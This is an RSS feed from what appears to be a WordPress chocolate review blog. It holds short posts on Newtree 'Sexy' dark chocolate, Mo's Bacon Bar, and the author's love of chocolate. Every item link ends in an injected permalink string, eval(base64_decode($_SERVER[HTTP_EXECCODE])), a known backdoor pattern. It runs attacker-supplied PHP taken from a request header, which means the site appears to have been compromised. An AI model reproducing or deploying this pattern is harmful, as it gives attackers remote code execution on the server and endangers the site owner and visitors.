<?xml version="1.0" encoding="UTF-8"?><!-- generator="WordPress/2.9.2" -->
<rss version="0.92">
<channel>
	<title>Choco-lot</title>
	<link>http://marsorbust.net/choco</link>
	<description>Adventures in cocao</description>
	<lastBuildDate>Tue, 01 Jul 2008 20:47:42 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	
	<item>
		<title>&#8220;Sexy&#8221; Dark Chocolate by Newtree &#8211; Review</title>
		<description><![CDATA[Sexy Dark Chocolate

Brand: Newtree
Primary Ingredients: ginger, dark chocolate, guarana
Cacao: 73%
Cacao source: Not Specified
Purchased: World Market
Price: $2.79 at Newtree.com for a .95 oz (27g) box
Before eating: I&#8217;ve had Newtree bars before, but I can&#8217;t remember if I&#8217;ve had &#8220;Sexy&#8221; in particular. I decided to write about &#8220;sexy&#8221; today though because I want to know if it [...]]]></description>
		<link>http://marsorbust.net/choco/2008/07/01/sexy-dark-chocolate-by-newtree-review/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Mo&#8217;s Bacon Bar &#8211; Review</title>
		<description><![CDATA[Without having tasted it yet, I'm a bit nervous. When I first saw this in the store, I was admittedly a little grossed out. I mean, meat and chocolate? But the more I've thought about it, the more sense it makes. Bacon is basically the following flavors: salt, fat, sugar, smoke, and in this case, apple. And all of those things go pretty well with chocolate. So, in the end, I guess it's not that much different from putting maple syrup on bacon, something I do all the time.]]></description>
		<link>http://marsorbust.net/choco/2008/06/30/mos-bacon-bar-review/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Choco-intro</title>
		<description><![CDATA[When I lived in China for a year, getting a hold of foreign food was exceedingly difficult. In particular, chocolate was a rare comodity. Sure, lots of stores had things for sale that professed to be &#8220;cho-ke-li&#8221;, but they were usually brown-colored wax. Some places had dove bars, but they were very, very expensive (I [...]]]></description>
		<link>http://marsorbust.net/choco/2008/06/30/choco-intro/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
</channel>
</rss>
